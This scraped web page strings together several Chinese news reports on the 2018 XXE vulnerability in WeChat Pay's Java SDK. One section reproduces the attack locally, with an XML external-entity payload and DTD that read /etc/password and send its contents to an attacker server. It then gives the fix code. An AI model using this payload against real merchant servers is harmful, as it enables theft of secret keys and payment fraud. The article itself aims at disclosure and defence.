8微信支付被曝漏洞洞,这将会带来什么样影响和危害

微信支付被曝漏洞 微信支付漏洞对你有什么影响?
微信支付被曝漏洞是怎么回事?微信支付有哪些漏洞?最近微信支付在网上被曝光了一些漏洞,被人直接买买买不用花钱,很多小伙伴对这个事情不是很清楚,大家都在问这个这个是怎么回事?有什么影响?小编就为大家详细的介绍下这个事情!
昨日,有用户在国外安全社区公布了微信支付官方SDK(软件工具开发包)存在的严重漏洞,此漏洞可导致商家服务器被入侵,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。
该用户还晒出了如何利用漏洞进行买买买的截图,利用这个漏洞,黑客不仅可以 0 元购买,还有倒卖用户信息的可能。
对此,微信支付方面未发布相关安全公告。腾讯方面在向媒体回应时表示,&微信支付技术安全团队已第一时间关注及排查,并于中午对官方网站上该SDK漏洞进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。请大家放心使用微信支付。&
您可能也感兴趣:
官方微博/微信
每日头条、业界资讯、热点资讯、八卦爆料,全天跟踪微博播报。各种爆料、内幕、花边、资讯一网打尽。百万互联网粉丝互动参与,TechWeb官方微博期待您的关注。
↑扫描二维码
想在手机上看科技资讯和科技八卦吗?想第一时间看独家爆料和深度报道吗?请关注TechWeb官方微信公众帐号:1.用手机扫左侧二维码;2.在添加朋友里,搜索关注TechWeb。
Copyright (C)
All rights reserved. 京ICP证060517号/京ICP备号 京公网安备76号
TechWeb公众号
机情秀公众号微信支付被曝漏洞 各位商户要当心
IT之家7月4日消息&近日有网友在国外安全社区公布了微信支付官方SDK存在的严重漏洞,此漏洞可侵入商家服务器,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。
▲陌陌的微信支付漏洞利用过程
▲vivo的微信支付漏洞利用过程
该网友还晒出了如何利用漏洞进行消费的截图,演示中使用的vivo和陌陌。利用这个漏洞,黑客可以购买商品,并有泄露用户信息的风险。
目前,微信支付方面未发布相关安全公告。腾讯方面表示,微信支付技术安全团队已第一时间关注及排查,并于对官方网站上该SDK漏洞进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。
您可能也感兴趣:
官方微博/微信
每日头条、业界资讯、热点资讯、八卦爆料,全天跟踪微博播报。各种爆料、内幕、花边、资讯一网打尽。百万互联网粉丝互动参与,TechWeb官方微博期待您的关注。
↑扫描二维码
想在手机上看科技资讯和科技八卦吗?想第一时间看独家爆料和深度报道吗?请关注TechWeb官方微信公众帐号:1.用手机扫左侧二维码;2.在添加朋友里,搜索关注TechWeb。
Copyright (C)
All rights reserved. 京ICP证060517号/京ICP备号 京公网安备76号
TechWeb公众号
机情秀公众号51CTO旗下网站
可怕!微信支付被曝漏洞,危害不只是“0元也能买买买”!
微信是最流行的 App 之一,特别是随着“二维码付款”成为潮流,越来越多的小伙伴早已习惯不带现金出门。
作者:佚名来源:| 10:56
微信是最流行的 App 之一,特别是随着&二维码付款&成为潮流,越来越多的小伙伴早已习惯不带现金出门。
如果有人告诉你,现在不用你花一分钱,就能用[微信支付]买买买,这种天上掉馅饼的事,你会相信吗?
7 月 1 日,在老牌漏洞披露平台 Full Disclosure 出现了一封写给微信支付的公开信。
发件人是 Rose Jackcode,信的标题是《微信支付官方SDK的XXE安全漏洞(微信支付在商户页面遗留了一个后门)》。
▲发表在漏洞披露平台 Full Disclosure 上的公开信
发件人 Rose Jackcode 在信中称,他在微信支付官方 SDK(软件工具开发包)发现了一个安全漏洞,此漏洞可导致商家服务器被入侵,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。
王牌对王牌
换句话说,黑客利用微信支付的这个漏洞,能实现 0 元无限买买买。
这并不是说说而已,这位网友还直接甩出了两张图,展示出漏洞利用的过程,中招者是 VIVO 和陌陌。
▲陌陌、VIVO 的微信支付漏洞利用过程
看不懂没关系,为了方便小伙伴理解,他们举了个小例子:
这个过程叫&商户回调接口&,而这个漏洞可以让微信支付产生&人家付款成功了&的错觉,从而让黑客实现 0 元购。
随后,微信支付技术安全团队已关注问题并及时排查,并进行更新,修复了已知的安全漏洞。
虽然微信支付安全漏洞已经被修复,但大家关注的热度依旧高涨。查看百度热搜指数发现,微信支付被爆漏洞这一话题依旧高居榜首。
一定不少小伙伴要吐槽了:&怎么又是修复好了才告诉我?有没有感觉错过了几百万哈....
大多数人可能并不关注怎么修复安全漏洞,而是较为关心对个体产生的影响。下面我们从技术人的角度谈谈这次微信支付曝出的漏洞。
技术角度解读微信支付曝出的漏洞
对于昨天()微信支付的 SDK 曝出重大漏洞(XXE 漏洞),通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。
获取这些信息以后,攻击者便可以为所欲为,其中就包括众多媒体所宣传的&0 元也能买买买&。
漏洞报告地址:http://seclists.org/fulldisclosure/2018/Jul/3
此次曝出的漏洞属于 XXE 漏洞,即 XML 外部实体注入(XML External Entity Injection)。
XML 文档除了可以包含声明和元素以外,还可以包含文档类型定义(即 DTD);如下图所示:
在 DTD 中,可以引进实体,在解析 XML 时,实体将会被替换成相应的引用内容。
该实体可以由外部引入(支持 http、ftp 等协议,后文以 http 为例说明),如果通过该外部实体进行攻击,就是 XXE 攻击。
可以说,XXE 漏洞之所以能够存在,本质上在于在解析 XML 的时候,可以与外部进行通信;当 XML 文档可以由攻击者任意构造时,攻击便成为可能。
在利用 XXE 漏洞可以做的事情当中,最常见最容易实现的,便是读取服务器的信息,包括目录结构、文件内容等;本次微信支付爆出的漏洞便属于这一种。
微信支付漏洞
本次漏洞影响的范围是:在微信支付异步回调接口中,使用微信支付 SDK 进行 XML 解析的应用。
注意这里的 SDK 是服务器端的 SDK,App 端使用 SDK 并不受影响。
SDK 下载地址如下(目前微信官方宣传漏洞已修复):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
SDK 中导致漏洞的代码是 WXPayUtil 工具类中的 xmlToMap() 方法:
如上图所示,由于在解析 XML 时没有对外部实体的访问做任何限制,如果攻击者恶意构造 XML 请求,便可以对服务器进行攻击。下面通过实例介绍攻击的方法。
下面在本机环境下进行复现。
假设本地的 Web 服务器 127.0.0.1:8080 中存在 POST 接口:/wxpay/callback,该接口中接收 XML 字符串做参数,并调用前述的 WXPayUtil.xmlToMap(strXml) 对 XML 参数进行解析。
此外,/etc/password 中存储了重要的密码数据(如 password1234)。
攻击时构造的请求如下:
其中 XML 内容如下:
&?xml&version=&1.0&&encoding=&utf-8&?&&&!DOCTYPE&root&[&&&&&&!ENTITY&%&file&SYSTEM&&file:///etc/password&&&&&&&&!ENTITY&%&xxe&SYSTEM&&http://127.0.0.1:9000/xxe.dtd&&&&&&&%&]&&
其中 /etc/password 为要窃取的对象,http://127.0.0.1:9000/xxe.dtd 为攻击者服务器中的 dtd 文件,内容如下:
&!ENTITY&%&shell&&&!ENTITY&%&upload&SYSTEM&'http://127.0.0.1:9000/evil/%'&&&&%&%&
通过 xml+dtd 文件,攻击者便可以在服务器 http://127.0.0.1:9000 中会收到如下请求:http://127.0.0.1:9000/evil/password1234。
这样,攻击者便得到了 /etc/password 文件的内容。
在本例中,攻击者窃取了 /etc/password 文件中的内容,实际上攻击者还可以获取服务器中的目录结构以及其他文件,只要启动 Web 应用的用户具有相应的读权限。
如果获取的信息比较复杂,如包含特殊符号,无法直接通过 http 的 URL 发送,则可以采用对文件内容进行 Base64 编码等方法解决。
漏洞的解决
解决该漏洞的原理非常简单,只要禁止解析 XML 时访问外部实体即可。
漏洞曝出以后,微信进行了紧急修复,一方面是更新了 SDK,并提醒开发者使用最新的 SDK。
SDK 中修复代码如下:
加入了如下两行代码:
documentBuilderFactory.setExpandEntityReferences(false);&documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,&true);&
此外,微信官方也给出了关于 XXE 漏洞的最佳安全实践,可以参考:
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
笔者本人使用上述方案中建议的如下代码修复了该漏洞:
DocumentBuilderFactory&documentBuilderFactory&=&DocumentBuilderFactory.newInstance();&documentBuilderFactory.setFeature(&http://apache.org/xml/features/disallow-doctype-decl&,&true);&DocumentBuilder&documentBuilder&=&documentBuilderFactory.newDocumentBuilder();&&&&
扩展与反思
危害不只是&0 元也能买买买&
在很多媒体的报道中,强调该漏洞的风险在于攻击者可以不支付也可以获得商品。
攻击者在通过上述漏洞获得微信支付的秘钥以后,有不止一种途径可以做到不支付就获得商品。
例如,攻击者首先在系统中下单,获得商户订单号;然后便可以调用微信支付的异步回调。
其中的签名参数便可以使用前面获取的秘钥对订单号等信息进行 MD5 获得;这样攻击者的异步回调就可以通过应用服务器的签名认证,从而获得商品。
不过,在很多有一定规模的购物网站(或其他有支付功能的网站),会有对账系统,如定时将系统中的订单状态与微信、支付宝的后台对比。
如果出现不一致可以及时报警并处理,因此该漏洞在这方面的影响可能并没有想象的那么大。
然而,除了&0 元也能买买买&,攻击者可以做的事情还有很多很多;理论上来说,攻击者可能获得应用服务器上的目录结构、代码、数据、配置文件等,可以根据需要进行进一步破坏。
漏洞不限于微信支付 SDK
虽然微信支付曝出该漏洞受到了广泛关注,但该漏洞绝不仅仅存在于微信支付中。
由于众多 XML 解析器默认不会禁用对外部实体的访问,因此应用的接口如果有以下几个特点就很容易掉进 XXE 漏洞的坑里:
接口使用 XML 做请求参数。
接口对外公开,或容易获得:例如一些接口提供给外部客户调用,或者接口使用 http 很容易抓包,或者接口比较容易猜到(如微信支付的异步回调接口)。
接口中解析 XML 参数时,没有禁用对外部实体的访问,建议大家最好检查一下自己的应用中是否有类似的漏洞,及时修复。
XML 与 JSON
XML 与 JSON 是系统间交互常用的两种数据格式,虽然很多情况下二者可以互换,但是笔者认为,JSON 作为更加轻量级更加纯粹的数据格式,更适合于系统间的交互。
而 XML,作为更加重量级更加复杂的数据格式,其 DTD 支持自定义文档类型,在更加复杂的配置场景下有着更好的效果,典型的场景如 Spring 相关的配置。
题外话:微信支付的签名认证
在前面曾经提到,应用中存储的秘钥一旦泄露,攻击者便可以完全绕过签名认证,这是因为微信支付使用的是对称式的签名认证。
微信方和应用方,使用相同的秘钥对相同的明文进行 MD5 签名,只要应用方的秘钥泄露,签名认证就完全成了摆设。
在这方面支付宝的做法更规范也更安全:支付宝为应用生成公私钥对,公钥由应用方保存,私钥由支付宝保存;在回调时,支付宝使用私钥进行签名,应用方使用公钥进行验证。
这样只要支付宝保存的私钥不泄露,攻击者只有公钥则难以通过签名认证。
参考文献:
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
http://seclists.org/fulldisclosure/2018/Jul/3
https://www.cnblogs.com/tongwen/p/5194483.html
关于此次微信出现的支付漏洞你怎么看?扫描下方二维码,关注51CTO技术栈公众号。欢迎在技术栈微信公众号留言探讨。
【编辑推荐】
【责任编辑: TEL:(010)】
大家都在看猜你喜欢
头条热点头条热点热点
24H热文一周话题本月最赞
讲师:42674人学习过
讲师:14350人学习过
讲师:18861人学习过
CTO专属活动
精选博文论坛热帖下载排行
《网管员必读――网络组建(第2版)》仍是以一个中等规模的模拟局域网组建为思路,较全面地介绍了与局域网组建相关的各方面知识和组建、配...
订阅51CTO邮刊微信支付被曝漏洞有多严重?微信支付漏洞有什么影响
微信支付被曝漏洞是怎么回事?微信支付有哪些漏洞?最近微信支付在网上被曝光了一些漏洞,被人直接买买买不用花钱,很多小伙伴对这个事情不是很清楚,大家都在问这个这个是怎么回事?有什么影响?小编就为大家详细的介绍下这个事情!
昨日,有用户在国外安全社区公布了微信支付官方SDK(软件工具开发包)存在的严重漏洞,此漏洞可导致商家服务器被入侵,一旦攻击者获得商家的关键安全密钥,就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。
该用户还晒出了如何利用漏洞进行买买买的截图,利用这个漏洞,黑客不仅可以 0 元购买,还有倒卖用户信息的可能。
对此,微信支付方面未发布相关安全公告。腾讯方面在向媒体回应时表示,&微信支付技术安全团队已第一时间关注及排查,并于中午对官方网站上该SDK漏洞进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。请大家放心使用微信支付。&
您可能也感兴趣:
官方微博/微信
每日头条、业界资讯、热点资讯、八卦爆料,全天跟踪微博播报。各种爆料、内幕、花边、资讯一网打尽。百万互联网粉丝互动参与,TechWeb官方微博期待您的关注。
↑扫描二维码
想在手机上看科技资讯和科技八卦吗?想第一时间看独家爆料和深度报道吗?请关注TechWeb官方微信公众帐号:1.用手机扫左侧二维码;2.在添加朋友里,搜索关注TechWeb。
Copyright (C)
All rights reserved. 京ICP证060517号/京ICP备号 京公网安备76号
TechWeb公众号
机情秀公众号微信支付被曝漏洞 用户会受到哪些影响?微信支付被曝漏洞 用户会受到哪些影响?生命时报手机版百家号又到月初了,你的花呗账单还清了吗?如果有人告诉你,现在不用你花一分钱,就能在某些电商平台随便买,你会相信吗?恩,我知道聪慧的你,是不会相信天上掉馅饼的~那如果这个人是黑客呢?7月3日,据白帽汇安全研究院的消息,有网友在国外的安全社区公布了微信支付官方SDK(软件工具开发包)存在的严重漏洞,此漏洞可导致商家服务器被入侵,一旦攻击者获得商家的关键安全密钥(md5-key和merchant-Id等),他就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。微信支付被曝漏洞在使用微信支付时,商家需要提供通知网址以接受异步支付结果。问题是微信在JAVA版本SDK中的实现存在一个xxe漏洞。攻击者可以向通知URL构建恶意payload,根据需要窃取商家服务器的任何信息。换句话说,黑客利用微信支付的这个漏洞,能实现0元买买买的情况。这并不是说说而已,这位网友还直接甩出了两张图,展示出漏洞利用的过程,中招者是vivo和陌陌。▲陌陌的微信支付漏洞利用过程▲vivo的微信支付漏洞利用过程本文由百家号作者上传并发布,百家号仅提供信息发布平台。文章仅代表作者个人观点,不代表百度立场。未经作者许可,不得转载。生命时报手机版百家号最近更新:简介:人民日报主管,环球时报主办。作者最新文章相关文章

我要回帖

更多关于 微信支付被曝漏洞 的文章

 

随机推荐